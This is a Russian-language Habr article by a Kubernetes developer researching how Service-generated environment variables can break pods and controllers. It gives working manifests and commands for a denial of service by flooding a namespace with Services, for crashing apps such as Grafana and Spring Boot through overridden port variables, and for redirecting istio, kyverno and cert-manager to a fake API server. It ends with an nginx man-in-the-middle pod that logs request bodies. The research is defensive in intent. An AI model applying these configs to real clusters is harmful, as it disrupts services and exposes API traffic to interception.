Привет, Хабр! Меня зовут Михаил, я backend-разработчик в команде Managed Kubernetes в VK Cloud. При работе с K8s всем нам приходится сталкиваться с множеством конфигураций, которые мы используем постоянно, и Service не является исключением. И вот тут мне стало любопытно: а может ли с виду безобидный конфиг Service сломать нам весь кластер? Ну или хотя бы подпортить жизнь какому-то сервису?

Зачем мне это? Во-первых, это просто интересно: сломать что-то, понять, как оно работает, узнать, как то, что кажется обыденностью, может стать проблемой. Во-вторых, если удастся что-то накопать, то мы получим список потенциальных ошибок нашего кластера и будем думать над способами защиты и обнаружения. Так что приступим!

Статья будет полезна DevOps, безопасникам, админам и просто юным любителям Kubernetes. 

Вводные

Service — это абстракция, позволяющая обращаться к Pod'ам, связанным с ним. Одной из интересных особенностей Service является то, что данные по нему по умолчанию попадают в Pod как переменные среды окружения. На практике это не самая часто используемая особенность Service, но именно тут мы и попробуем положить наш кластер или какие-то сервисы в нем.

Важной особенностью env, формирующихся для Service, является то, что в Pod попадают именно те env, Service для которых уже были созданы на момент создания самого Pod. То есть для всех наших дальнейших экспериментов мы будем создавать или перезапускать Pod уже после того, как создали Service. 

Из прав, помимо доступа к кластеру, нам понадобиться возможность создавать или изменять Service в атакуемом Namespace, а также права на перезапуск Pod. В теории прав на перезапуск Pod может и не потребоваться, можно выжидать, когда «свет мигнет» и Pod перезапустится сам, но для упрощения исследования будем считать, что права на перезапуск у нас есть.

Для тестирования возьмем самую свежую на момент написания статьи версию K8s, а именно 1.35.2.

Способы защиты от наших издевательств, если они будут нужны, просуммируем в конце статьи.

Как формируются env для Service

Перед тем как переходить к практической части, нам необходимо понять, как формируются те env, что попадают к нам в Pod из Service. Тут может быть душновато, но нам это надо, простите.

За обработку env и последующую передачу их в container runtime отвечает kubelet. Сам процесс подготовки env описан в функции makeEnvironmentVariables, env для Service генерируются в функции getServiceEnvVarMap

Давайте разберемся в том, как работает getServiceEnvMap. Пройдемся по всем Service в кластере и запишем в мапу (ассоциативный массив, где ключ — строка имя Service, а значение — объект самого Service) те Service, что подходят под условия:

  • Если это Service из Namespace default с именем kubernetes и сервиса с таким именем еще нет в нашей мапе (думаю, мы к этому еще вернемся).

  • Если Service из того же Namespace, что и наш Pod, а также Pod spec.enableServiceLinks = true (значение по умолчанию).

// В первую очередь формируется мапа Service, где ключ — имя Service, а значение — сам Service
var (
	serviceMap = make(map[string]*v1.Service)
	...
)

// Не интересующий нас кусок кода
...

// Выгружаем все Service кластера
services, err := kl.serviceLister.List(labels.Everything())
if err != nil {
	return m, fmt.Errorf("failed to list services when setting up env vars")
}

// Далее проходимся по ним в цикле
for i := range services {
	service := services[i]
	// Мы игнорируем Service с ClusterIP = None, 
	//   то есть Headless Service в env не попадают
	if !v1helper.IsServiceIPSet(service) {
		continue
	}
	serviceName := service.Name

	// Если Namespace = default и имя Service содержится в 
	//	переменной masterService (по сути, множество, в котором хранится один элемент "kubernetes")
	if service.Namespace == metav1.NamespaceDefault && masterServices.Has(serviceName) {
		// Если Service с таким именем уже есть в нашей мапе, то НЕ перезаписываем
		if _, exists := serviceMap[serviceName]; !exists {
			// Записываем Service в мапу
			serviceMap[serviceName] = service
		}
	// Если Namespace Service совпадает с Namespace Pod, 
	//	а также Pod spec.enableServiceLinks = true (значение по умолчанию)
	} else if service.Namespace == ns && enableServiceLinks {
		//	То записываем Service в мапу
		serviceMap[serviceName] = service
	}
}

В итоге мы будем обрабатывать Service kubernetes из Namespace default, а также все Service из Namespace нашего Pod. Получается, что мы не можем через свой кривой Service в нашем Namespace сломать Pod из чужого Namespace. Это важно. Исключением из этого правила является Service kubernetes из Namespace default, что попадает во все Pod.

Далее все Service из нашей мапы преобразуются в специальный env-формат с помощью функции envvars.FromServices. Тут стоит обратить внимание на функцию makeEnvVariableName, в которую передаются имена Service и имена их портов (если эти имена есть). Эта функция заменяет все знаки '-' на '\_', а также приводит все символы из нижнего в верхний регистр. То есть, к примеру, если имя нашего Service hello-my-friend, то функция makeEnvVariableName приведет его к значению вида HELLO_MY_FRIEND. Значения для самих портов формирует функция makeLinkVariables. Разбор функции раздует текст, но важной особенностью этой функции является то, что для первого порта Service будет сформирован env вида makeEnvVariableName(<Имя_Service>)\_PORT=<Протокол>://\<ClusterIP>:\<Адрес_порта>), к которой мы еще вернемся.

Для каждого Service, попавшего в мапу выше, будут сформированы env следующего вида:

  • makeEnvVariableName(<Имя_Service>)\_SERVICE_HOST=Service.Spec.ClusterIP;

  • makeEnvVariableName(<Имя_Service>)\_SERVICE_PORT=Service.Spec.Ports[0].Port).

Для каждого порта с именем будет сформирован env вида makeEnvVariableName(<Имя_Service>)\_SERVICE_PORT_makeEnvVariableName(<Имя_порта>)=<Адрес_порта>.

Для каждого порта будет сформирован env вида makeLinkVariables(Service).

Для первого порта service будет сформирован env вида makeEnvVariableName(<Имя_Service>)\_PORT=<Протокол>://\<ClusterIP>:\<Адрес_порта>.

К примеру, у нас есть Service без портов с именами:

apiVersion: v1
kind: Service
metadata:
  name: hello-my-friend
spec:
  selector:
    app: my-test-app
  ports:
    - protocol: TCP
      port: 80
      targetPort: 8080
      port: 80
      targetPort: 8080
    - protocol: TCP
      name: test-2
      port: 90
      targetPort: 9090

Тогда env для Pod будут следующего вида:

# общие env Service
HELLO_MY_FRIEND_SERVICE_HOST=10.254.75.14 # Значение ClusterIP Service
HELLO_MY_FRIEND_SERVICE_PORT=80 # Значение первого порта Service
# env для первого порта Service
HELLO_MY_FRIEND_PORT=tcp://10.254.75.14:80
# env для порта 80
HELLO_MY_FRIEND_PORT_80_TCP_PROTO=tcp
HELLO_MY_FRIEND_PORT_80_TCP=tcp://10.254.75.14:80
HELLO_MY_FRIEND_PORT_80_TCP_ADDR=10.254.75.14
HELLO_MY_FRIEND_PORT_80_TCP_PORT=80

И теперь Service с именными портами:

apiVersion: v1
kind: Service
metadata:
  name: hello-my-friend
spec:
  selector:
    app: my-test-app
  ports:
    - protocol: TCP
      name: test
      port: 80
      targetPort: 8080
    - protocol: TCP
      name: test-2
      port: 90
      targetPort: 9090

Тогда env для Pod будут следующего вида:

# общие env Service
HELLO_MY_FRIEND_SERVICE_PORT=80
HELLO_MY_FRIEND_SERVICE_HOST=10.254.75.14
# env для первого порта Service
HELLO_MY_FRIEND_PORT=tcp://10.254.75.14:80
# env для порта 80
HELLO_MY_FRIEND_PORT_80_TCP_PROTO=tcp
HELLO_MY_FRIEND_PORT_80_TCP=tcp://10.254.75.14:80
HELLO_MY_FRIEND_PORT_80_TCP_ADDR=10.254.75.14
HELLO_MY_FRIEND_PORT_80_TCP_PORT=80
# env для порта 90
HELLO_MY_FRIEND_PORT_90_TCP_PROTO=tcp
HELLO_MY_FRIEND_PORT_90_TCP=tcp://10.254.75.14:90
HELLO_MY_FRIEND_PORT_90_TCP_ADDR=10.254.75.14
HELLO_MY_FRIEND_PORT_90_TCP_PORT=90
# env для именнованного порта (test) 
HELLO_MY_FRIEND_SERVICE_PORT_TEST=80
# env для именнованного порта (test-2) 
HELLO_MY_FRIEND_SERVICE_PORT_TEST_2=90

Здесь обратите внимание на три вещи:

  1. По умолчанию количество портов в Service, как и количество самих Service, никак не ограничено, то есть мы можем раздувать через них env Pod как нам заблагорассудится.

  2. Env вида makeEnvVariableName(<Имя_Service>)\_PORT, что формируется для первого порта Service, потенциально опасен — имена вида DATABASE_PORT, нет-нет да и кого-то, может, и сломают.

  3. Service с именем kubernetes — тут сложнее, но в теории можно сломать некоторые кубовые контроллеры.

Перегруз env в Pod

Самый простой способ положить наш Pod — перегрузить его env. Максимальный возможный общий размер всех передаваемых в процесс аргументов и переменных среды окружения задается на уровне ядра и обычно равен 1/4 от текущего лимита стека. В большинстве случае лимит стека — это 8 Мб; получается, лимит на аргументы и env — 2 Мб.

Значит, можно попробовать создать столько Service, чтобы размер их env точно превышал 2 Мб. Учтем, что есть ограничение на длину имени порта и имени Service — не более 63 символов.

Шаблон сервиса:

apiVersion: v1
kind: Service
metadata:
  name: hello-my-friend-${SERVICE_NUM}
spec:
  ports:
    - name: abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcde
      protocol: TCP
      port: 10
      targetPort: 1010
    - name: bbcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcde
      protocol: TCP
      port: 20
      targetPort: 2020
      # ... тут пропущены порты с 30 по 80
    - name: ibcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcde
      protocol: TCP
      port: 90
      targetPort: 9090
  selector:
    app: my-test-app

«Атакуем» кластер, создавая 1000 таких Service:

for i in {1..1000}; do
  export SERVICE_NUM=$i
  envsubst < service.yaml | kubectl apply -f -
done

Удалить все это можно следующей командой:

for i in {1..1000}; do
  kubectl delete svc/hello-my-friend-$i
done

Создав маленькую армию Service-плохишей, создаем тестовый Deployment:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: nginx-app
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx-app
    spec:
      containers:
        - name: nginx-container
          image: nginx:1.14.2
          ports:
            - containerPort: 8080
              protocol: TCP

Запустив наш тестовый Pod, видим следующий лог:

exec /usr/sbin/nginx: argument list too long

Нас интересует запись вида argument list too long. Она как раз говорит нам о том, что мы превысили максимально допустимый размер аргументов и env для нашего процесса. Таким образом, любой созданный Pod теперь перестанет запускаться. Если ему позволено создавать env и аргументов более чем на 2 Мб, ничего страшного — просто наплодим еще Service.

Такие шалости с Service еще влияют на использование памяти, пусть и не так эффективно. Конечно, от 2 Мб Pod не умрет. В целом все env едины для всех потоков в рамках одного процесса, но если наш процесс делает дочерний процесс, то используется CoW. То есть наш процесс создал какой-то дочерний, далее в дочернем мы меняем env — и дочерний процесс будет иметь собственные env. Таким образом, если все звезды сойдутся и нас есть веб-сервер, который при создании worker (создание дочернего процесса) меняет что-то в env, то каждый такой процесс будет занимать дополнительно около 2 Мб памяти. 100 таких процессов — и мы уже скушали лишних 200 Мб. Но все же для таких ломаний Pod слишком много условий — куда проще просто перегрузить количеством env.

Для того чтобы сломать таким образом запуск всех Pod в каком-либо Namespace, нужны только права на создание или обновление Service в этом самом Namespace. Теперь если мы увидим ошибку вида argument list too long, то будем знать, что одним из потенциальных виновников могут быть env, генерируемые Service.

Но можно ли взять не числом, а качеством ? Создать один Service, но такой, чтобы ломал не просто перегрузом, а более точечно?

Замена неявных env

Для первого порта Service формируется env вида makeEnvVariableName(<Имя_Service>)\_PORT. Если я назову Service именами вроде server, proxy, client или database, то я получу env в Pod SERVER_PORT, PROXY_PORT, CLIENT_PORT или DATABASE_PORT. Это может дать перечень потенциально часто используемых env в коде того или иного приложения.

Суть такой атаки (если ее можно так назвать) в том, что если у Pod есть явно заданные env, то они переопределяют те, что приходят от Service. То есть:

  1. Если у нашего испытуемого Pod есть какая-то логика работы, завязанная на неявно определенный env, — он не задан у Pod, но код приложения использует этот env.

  2. Мы можем сгенерировать через env Service имя этого env.

  3. В теории можно подпортить такому Pod жизнь.

К примеру, разработчик может указать порт к базе данных в виде env MY_DB_PORT, но сам env не задавать в Pod, а использовать какое-то значение по умолчанию, к примеру 5431. Тогда через Service с именем my-db мы потенциально можем подпортить жизнь какому-то приложению, заинжектив свой env.

Тут довольно много условностей, в том числе желательно знать кодовую базу ломаемого приложения — но попробовать можно.

Допустим, популярный Spring boot имеет env SERVER_PORT, указывающий на адрес серверного порта приложения. То есть, создав Service с именем server, —

apiVersion: v1
kind: Service
metadata:
  name: server
spec:
  selector:
    app: server-app
  ports:
    - protocol: TCP
      port: 20
      targetPort: 20

— мы в теории можем попробовать сломать Pod. Тогда у нас получится env SERVER_PORT=tcp://\<ClusterIP>:20

Для теста возьмем типовое приложение Spring boot из интернета. Создаем описанный выше Service, после чего создаем Pod с типовым приложением, описанный выше. Судя по логу сломанного Pod, мы смогли сломать его через наш Service:

Caused by: java.lang.NumberFormatException: For input string: "tcp://10.254.15.198:20"
        at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:65)
        at java.base/java.lang.Integer.parseInt(Integer.java:652)
        at java.base/java.lang.Integer.valueOf(Integer.java:983)
        at org.springframework.util.NumberUtils.parseNumber(NumberUtils.java:211)

        at org.springframework.core.convert.support.StringToNumberConverterFactory$StringToNumber.convert(StringToNumberConverterFactory.java:64)

        at org.springframework.core.convert.support.StringToNumberConverterFactory$StringToNumber.convert(StringToNumberConverterFactory.java:50)
        at org.springframework.core.convert.support.GenericConversionService$ConverterFactoryAdapter.convert(GenericConversionService.java:437)
        at org.springframework.core.convert.support.ConversionUtils.invokeConverter(ConversionUtils.java:41)

        ... 41 common frames omitted

В логе видим, что приложение ловит ошибку запуска, потому что ожидает в env SERVER_PORT число, а получает нашу строку. Также в Spring boot env имеет более высокий приоритет, чем конфигурация (но не аргумент запуска), то есть потенциально пласт приложений, которые можно сломать таким образом, довольно широк.

Но можно ли сломать что-то не кастомное, а более популярное? Тут такая же проблема, как и с кастомным кодом: нужно иметь доступ к исходникам, а также исследовать их.

Возьмем, к примеру, Grafana. Там среди env есть JAEGER_AGENT_PORT. По сути, это настройка трассировки. Создадим тестовый Service: 

apiVersion: v1
kind: Service
metadata:
  name: jaeger-agent
spec:
  ports:
    - protocol: TCP
      port: 20
      targetPort: 20
  selector:
    app: jaeger-agent-app

Запустим Pod Grafana и увидим ошибку запуска:

Error: ✗ invalid tracer address: :tcp://10.254.187.91:20

Также в Grafana есть переменная для профайлинга, GF_DIAGNOSTICS_PROFILING_PORT, причем ее значение парсится вне зависимости от того, был ли включен профайлинг Grafana или нет. Создадим такой Service:

apiVersion: v1
kind: Service
metadata:
  name: gf-diagnostics-profiling
spec:
  selector:
    app: gf-diagnostics-profiling-app
  ports:
    - protocol: TCP
      port: 30
      targetPort: 30

Мы получим env GF_DIAGNOSTICS_PROFILING_PORT=tcp://\<ClusterIP>:30. Grafana ожидает в этом env видеть число, а получает строку, поэтому выходит вот такая ошибка (причем от такой не спасет и наличие аргумента --profile-port):

Error: ✗ failed to parse GF_DIAGNOSTICS_PROFILING_PORT environment variable to unsigned integer

GF_SERVER_HTTP_PORT и Service для него:

apiVersion: v1
kind: Service
metadata:
  name: gf-server-http
spec:
  selector:
    app: gf-server-http-app
  ports:
    - protocol: TCP
      port: 40
      targetPort: 40

приведут к вот такой ошибке:

Error: ✗ invalid service state: Failed, expected: Terminated, failure: invalid service state: Failed, expected: Running, failure: not healthy, 0 terminated, 1 failed: [starting module *api.HTTPServer: invalid service state: Failed, expected: Running, failure: failed to open listener on address 0.0.0.0:tcp://10.254.30.66:40: listen tcp: address 0.0.0.0:tcp://10.254.30.66:40: too many colons in address]

Headlamp env HEADLAMP_CONFIG, Service:

apiVersion: v1
kind: Service
metadata:
  name: headlamp-config
spec:
  selector:
    app: headlamp-config-app
  ports:
    - protocol: TCP
      port: 30
      targetPort: 30

Ошибка:

{"level":"error","source":"/headlamp/backend/pkg/config/config.go","line":212,"error":"1 error(s) decoding:\n\n* cannot parse 'port' as uint: strconv.ParseUint: parsing \"tcp://10.254.152.17:30\": invalid syntax","time":"2026-03-22T16:40:33Z","message":"unmarshalling config"}
{"level":"error","source":"/headlamp/backend/cmd/server.go","line":54,"error":"error unmarshal config: 1 error(s) decoding:\n\n* cannot parse 'port' as uint: strconv.ParseUint: parsing \"tcp://10.254.152.17:30\": invalid syntax","time":"2026-03-22T16:40:33Z","message":"fetching config:%v"}

Traefik, если используется Datadog, env DD_DOGSTATSD_PORT, Service:

apiVersion: v1
kind: Service
metadata:
  name: dd-dogstatsd-config
spec:
  selector:
    app: dd-dogstatsd-app
  ports:
    - protocol: TCP
      port: 20
      targetPort: 20

ошибка (видна на уровне лога DEBUG):

2026-03-22T17:29:53Z DBG github.com/go-kit/kit@v0.13.0/metrics/dogstatsd/dogstatsd.go:122 > duringWriteToerrconnection unavailable metricsProviderName=datadog
2026-03-22T17:29:57Z DBG github.com/go-kit/kit@v0.13.0/util/conn/manager.go:131 > errdial udp: address localhost:tcp://10.254.169.72:20: too many colons in address metricsProviderName=datadog

Такая ошибка не положит сервис, но сломает отправку метрик в Datadog, причем заметно это будет не сразу.

Попробуем сломать таким образом istio-sidecar. Service:

apiVersion: v1
kind: Service
metadata:
  name: envoy-status
spec:
  selector:
    app: envoy-status
  ports:
    - protocol: TCP
      port: 20
      targetPort: 20

Попробуем подменить env ENVOY_STATUS_PORT. Судя по логу, у нас ничего не вышло:

2026-05-13T15:30:02.801296Z warn Invalid environment variable value tcp://10.254.90.164:20, expecting an integer, defaulting to 15021

Так происходит потому, что в Istio есть обработка на этот счет. Если не удалось считать env, потому что его значение кривое, то значение переменной сбрасывается на значение по умолчанию. В целом тоже хороший вариант защиты.

Что можно из всего этого для себя почерпнуть? Мы все-таки что-то сломали — значит, не зря старались. Если мы видим, что наше приложение перестало запускаться и пишет в логах ошибку парсинга какого-то env, высока вероятность, что в этом виноват Service-плохиш. Также по возможности стоит выключить инжект env через Service и/или задавать критично важные для приложения env в явном виде.

Перейдем к заключительной части, Service с именем kubernetes, но тут нам уже понадобятся дополнительные вводные.

Как работает клиент для K8s API

Пока способы, которые мы нашли, не кладут весь кластер, а только портят жизнь отдельным сервисам. Но помните, мы обращали внимание на env, которые генерируются для Service kubernetes из Namespace default?

Этот Service и генерируемые из него env используются в ключевой части K8s — в клиентах и контроллерах приложений, которые разворачиваются в K8s-кластере и работают с kube-apiserver в InCluster режиме. И что это за режим?

При использовании InCluster контроллеру нужен клиент, который сможет подключаться к kube-apiserver. Можно предоставить ему kubeconfig, но проще предоставить Kubernetes самому сгенерировать данные для клиента, то есть использовать InCluster-режим. Настройки такого клиента попадают в Pod через volumeMounts и env. В настройках используются следующие данные:

  • Данные service account, а точнее, токен, он монтируются к Pod.

  • Имя Namespace — текстовый файл, тоже монтируется к Pod.

  • CA сертификат к kube-apiserver, монтируется к Pod.

  • Пара env: KUBERNETES_SERVICE_HOST и KUBERNETES_SERVICE_PORT.

Возьмем для примера код клиентов Go, Python и Java. Каждый из них использует два env для подключения к kube-apiserver в InCluster-режиме: KUBERNETES_SERVICE_HOST и KUBERNETES_SERVICE_PORT. Оба этих env берутся из Service kubernetes Namespace default. Но откуда берется этот Service? Его создает сам kube-apiserver при запуске. Также только при запуске этот Service синхронизируется в плане портов. То есть если мы что-то поменяем в этом Service, то, пока мы не перезапустим kube-apiserver, наши изменения будут жить. Но удаление этого Service приводит к его полному пересозданию, то есть снести его мы не сможем. 

Если кубовые контроллеры (в большинстве своем) работают через эти env, то в теории, испортив их, мы сломаем эти самые контроллеры.

Ломаем контроллеры и клиенты

Из default Namespace

Нам понадобятся права на изменение Service в Namespace default. Для начала можно попробовать испортить порт в самом Service kubernetes в namespace default. Подменим ему значение, к примеру с 443 на 7443. 

Было:

apiVersion: v1
kind: Service
metadata:
  name: kubernetes
spec:
  ports:
    - name: https
      protocol: TCP
      port: 443
      targetPort: 6443
  clusterIP: 10.254.0.1
  clusterIPs:
    - 10.254.0.1
  type: ClusterIP

Стало:

apiVersion: v1
kind: Service
metadata:
  name: kubernetes
spec:
  ports:
    - name: https
      protocol: TCP
      port: 7443
      targetPort: 6443
  clusterIP: 10.254.0.1
  clusterIPs:
    - 10.254.0.1
  type: ClusterIP

Такие изменения действуют сразу на всех клиентов во всех Namespace. 

Уже работающие контроллеры или клиенты могут перестать работать. Если наш сервис использует конфигурацию InCluster, то обращаться он будет по старому адресу 10.254.0.1:443 (ClusterIP). Но так как мы изменили порт с 443 на 7443, то поменяется и EndpointSlice, что указывает на реальный kube-apiserver. То есть в таблице маршрутизации больше нет порта 443, есть только 7443. Таким образом, клиентам, что работали через InCluster-конфигурацию, перестанет быть доступен kube-apiserver. Правда, это может произойти не сразу, в зависимости от логики работы приложения. В каких-то случаях может потребоваться перезапуск.

Рассмотрим CNI как пример. Многие CNI-плагины взаимодействуют с kube-apiserver именно через ClusterIP: они создают kubeconfig на нодах кластера, но прописывают туда ClusterIP и порт из Service kubernetes. К примеру, calico после наших манипуляций больше не сможет создавать Pod:

Failed to create pod sandbox: rpc error: code = Unknown desc = failed to create pod network sandbox k8s_nginx-deployment-bf744486c-rb9x7_my-test_fbce0826-e91b-45b7-8252-03830b0d14a2_0(a29717e34f2ebd4b467524badf29591f4711999d25ab36f2bc511f26342ecd12): error adding pod my-test_nginx-deployment-bf744486c-rb9x7 to CNI network "k8s-pod-network": plugin type="calico" failed (add): error getting ClusterInformation: Get "https://10.254.0.1:443/apis/crd.projectcalico.org/v1/clusterinformations/default": dial tcp 10.254.0.1:443: i/o timeout

В логе видно, что calico пытается подключиться к старому порту по ClusterIP, но так как EndpointSlice для порта 443 больше нет, мы получаем ошибки сетевого взаимодействия calico с kube-apiserver — и в итоге ошибку создания Pod.

Этот подход ненадежен, так как перезапуск kube-apiserver затрет все наши злодеяния. Но если наши клиенты в кластере начали отваливаться, то стоит обратить внимание на Service с именем kubernetes в Namespace default — возможно, причина в нем.

В любом другом namespace

Представим, что у нас нет доступа в default Namespace. Тогда вспомним, как env kubernetes попадает в Pod. Это происходит, если это Service из Namespace default с именем kubernetes и сервиса с таким именем еще нет в нашей мапе. 

То есть в теории мы можем сломать контроллеры в конкретном Namespace. Попробуем сломать таким образом istio. Устанавливаем его в Namespace istio-system, затем создаем там Service:

apiVersion: v1
kind: Service
metadata:
  name: kubernetes
  namespace: istio-system
spec:
  ports:
    - name: https
      protocol: TCP
      port: 443
      targetPort: 6443
  type: ClusterIP

Перезапустим под istiod. И посмотрим на логи:

2026-04-11T10:32:38.229776Z     warn    sidecar injector is not ready
2026-04-11T10:32:40.090690Z     info    waiting for sync...     name=ConfigMap_istio attempt=50 time=4.441112732s
2026-04-11T10:32:41.230579Z     warn    discovery is not ready
2026-04-11T10:32:44.230157Z     warn    discovery is not ready
2026-04-11T10:32:45.105205Z     info    waiting for sync...     name=ConfigMap_istio attempt=100 time=9.455626897s

Pod в итоге висит как NotReady. По сути, таким Service мы сломали control plane istio.

Попробуем тот же трюк с kyverno. Устанавливаем, создаем Service:

apiVersion: v1
kind: Service
metadata:
  name: kubernetes
  namespace: kyverno
spec:
  ports:
    - name: https
      protocol: TCP
      port: 443
      targetPort: 6443
  type: ClusterIP

Перезапускаем Pod kyverno-admission-controller — и видим, что его init container kyverno-pre перестал запускаться:

2026-04-11T11:07:57Z TRC k8s.io/client-go@v0.35.1/tools/cache/reflector.go:724 > watch-list failed - backing off err="Get \"https://10.254.183.81:443/api/v1/namespaces/kyverno/configmaps?allowWatchBookmarks=true&fieldSelector=metadata.name%3Dkyverno-metrics&resourceVersionMatch=NotOlderThan&sendInitialEvents=true&timeout=7m6s&timeoutSeconds=426&watch=true\": dial tcp 10.254.183.81:443: connect: connection refused" logger=klog reflector=k8s.io/client-go@v0.35.1/tools/cache/reflector.go:289 type=*v1.ConfigMap v=2

В логах видно, что Pod пытается обратиться по ClusterIP не Service kubernetes из Namespace default 10.254.0.1, а к тому Service, что мы только что создали, — 10.254.183.81. Так как наш Service ни на какой kube-apiserver не ведет, появляется ошибка. То есть нам удалось сломать control plane kyverno.

А получится ли сломать cert-manager? По той же схеме:

apiVersion: v1
kind: Service
metadata:
  name: kubernetes
  namespace: cert-manager
spec:
  ports:
    - name: https
      protocol: TCP
      port: 443
      targetPort: 6443
  type: ClusterIP

Перезапускаем Pod cert-manager и… С ним все хорошо. Почему? Потому что по умолчанию в его values задано enableServiceLinks = false. Из-за этого env, необходимые для работы клиентов/контроллеров в InCluster-режиме (env Service kubernetes из Namespace default), будут добавляться в контейнер в любом случае. Поэтому переписать их Service kubernetes из какого-либо другого Namespace не получится. Вот и защита от нашей шалости в действии.

А если у этого Pod задать enableServiceLinks = true? Тогда мы добьемся такой же ошибки о недоступности kube-apiserver:

I0411 11:49:36.719676       1 controller.go:175] "starting healthz server" logger="cert-manager.controller" address="[::]:9403"
E0411 11:49:36.719821       1 leaderelection.go:448] error retrieving resource lock kube-system/cert-manager-controller: Get "https://10.254.151.253:7443/apis/coordination.k8s.io/v1/namespaces/kube-system/leases/cert-manager-controller": dial tcp 10.254.151.253:443: connect: connection refused
E0411 11:49:55.294702       1 leaderelection.go:448] error retrieving resource lock kube-system/cert-manager-controller: Get "https://10.254.151.253:7443/apis/coordination.k8s.io/v1/namespaces/kube-system/leases/cert-manager-controller": dial tcp 10.254.151.253:443: connect: connection refused

Получается, так можно сломать любые контроллеры в кластере? Да, по крайней мере те, что запускаются в подах с enableServiceLinks = true (значение по умолчанию) и используют InCluster-конфигурацию.

Суть нашей «атаки» в том, что мы используем env для подмены адреса kube-apiserver, тем самым направляя клиент контроллера по ложному пути. Так что если сервис использует в своей работе не InCluster режим, а, к примеру, kubeconfig для подключения к kube-apiserver, то наши опыты с подменой env ему будут безразличны.

Значит, если клиенты/контроллеры отвалились — можно посмотреть на Service с именем kubernetes как в Namespace default, так и в Namespace проблемного клиента/контроллера.

Косплей K8s API

Нам удалось перенаправить трафик сервисов, использующих InCluster конфиг, в никуда и тем самым сломать их. А можем ли мы создать сервис, выдающий себя за kube-apiserver? 

Попробуем поднять свой Pod с серверным сертификатом, выдающим себя за kube-apiserver, направим трафик на него через наш фейковый Service kubernetes и будем отлавливать все запросы бедного InCluster сервиса.

Тут все немного сложнее: нам мешают сертификаты. Для работы с kube-apiserver InCluster использует CA-сертификат, расположенный в Pod по пути /var/run/secrets/kubernetes.io/serviceaccount/ca.crt. Он инжектится в Pod из ConfigMap с именем kube-root-ca.crt (это пример с projected SA и automountServiceAccountToken = true):

spec:
  volumes:
    - name: kube-api-access-q7dhr
      projected:
        sources:
          - serviceAccountToken:
              expirationSeconds: 3607
              path: token
          - configMap:
              name: kube-root-ca.crt
              items:
                - key: ca.crt
                  path: ca.crt
          - downwardAPI:
              items:
                - path: namespace
                  fieldRef:
                    apiVersion: v1
                    fieldPath: metadata.namespace
        defaultMode: 420

ConfigMap kube-root-ca.crt создается kube-apiserver. Он же отвечает за то, чтобы никто не смог ее изменить или удалить: kube-apiserver просто создаст ConfigMap заново или перезапишет все изменения. В теории можно попробовать удалить или изменить ConfigMap, создав собственный с таким же именем kube-root-ca.crt, но со своим CA-сертификатом. Но kube-apiserver довольно быстро вернет все на круги своя. Вероятность зайти в создаваемый Pod со своим kube-root-ca.crt, пока kube-apiserver не восстановил ConfigMap, крайне мала. 

Чтобы провернуть задуманное, нам нужно что-то сделать с CA. Раз мы не можем подменить ConfigMap с сертификатом, то остаются два пути: как-то подсунуть в атакуемый Pod свой CA-сертификат или же выпустить кластерный CA-сертификат под наш фейковый kube-apiserver.

Прежде чем что-то делать с этим CA-сертификатом, нам нужно определиться с требованиями к нашему сертификату. Так как InCluster-сервис обращается к kube-apiserver по IP и это все-таки сервер, то в сертификате нам важно иметь следующие параметры:

  • Сертификат должен быть выпущен тем же CA, чей сертификат будет примонтирован в атакуемый Pod.

  • ClusterIP-адрес из Service, на который мы будем заводить трафик, должен присутствовать в сертификате нашего фейкового сервера, как минимум в SAN.IP, можно еще и в CN.

  • В Extended Key Usage должен содержать TLS Web Server Authentication.

Подготовка

В качестве жертвы возьмем istio, установленный в Namespace istio-system. Попробуем направить istiod по ложному пути, подсунув ему наш Service. Общими пререквизитами для обоих подходов будут:

  • Service, который будет инжектить нужные env в атакуемый Pod с InCluster конфигом и перенаправлять в наш сервер-Pod трафик, предназначенный для kube-apiserver;

  • Secret с сертификатом и приватным ключом, который будет использован нашим сервер-Pod;

  • Сервер-Pod, который будет выдавать себя за kube-apiserver.

То есть необходимая ролевая модель для нас увеличивается: добавляются права на создание Secret, создание и изменение Pod, также в одном из случаев понадобятся еще и права на создание ConfigMap.

Service, выдающий себя за kube-apiserver:

apiVersion: v1
kind: Service
metadata:
  name: kubernetes
  namespace: istio-system # Namespace атакуемого Pod
spec:
  ports:
    - name: https
      protocol: TCP
      port: 443
      targetPort: 443
  selector:
    app: secure-server

После создания Service запомним ClusterIP нашего Service, это понадобится для создания серверного сертификата.

Secret вида (данные будут заполнены позже в примерах):

apiVersion: v1
kind: Secret
metadata:
  name: my-server-tls
  namespace: istio-system # Namespace атакуемого Pod
data:
  tls.crt: <Серверный сертификат для нашего Pod>
  tls.key: <Его приватный ключ>
type: kubernetes.io/tls

Наш фейковый kube-apiserver:

apiVersion: v1
kind: Pod
metadata:
  name: tls-server-pod
  namespace: istio-system # Namespace атакуемого Pod
  labels:
    app: secure-server
spec:
  containers:
  - name: nginx
    image: nginx:alpine
    ports:
    - containerPort: 443
    volumeMounts:
    - name: certs
      mountPath: "/etc/nginx/certs"
      readOnly: true
    command: ["/bin/sh", "-c"]
    args: 
      - |
        echo "
        log_format log_with_body '\$remote_addr - \$remote_user [\$time_local] '
                                 '\"\$request\" \$status \$body_bytes_sent '
                                 '\"\$http_referer\" \"\$http_user_agent\" '
                                 'body: \"\$request_body\"';

        server {

            listen 443 ssl;
            ssl_certificate /etc/nginx/certs/tls.crt;
            ssl_certificate_key /etc/nginx/certs/tls.key;

            access_log /var/log/nginx/access.log log_with_body;

            location / {
                proxy_pass https://10.254.0.1; # Это ClusterIP адрес РЕАЛЬНОГО kube-apiserver
                proxy_ssl_verify off;
                proxy_ssl_server_name on;

                proxy_read_timeout      400s;
                proxy_send_timeout      400s;
                proxy_connect_timeout   10s;

                proxy_buffering off;

                proxy_set_header Host \$host;
                proxy_set_header X-Real-IP \$remote_addr;
                proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto \$scheme;

                client_max_body_size 10M;
            }
        }" > /etc/nginx/conf.d/default.conf;
        nginx -g 'daemon off;'
  volumes:
  - name: certs
    secret:
      secretName: my-server-tls

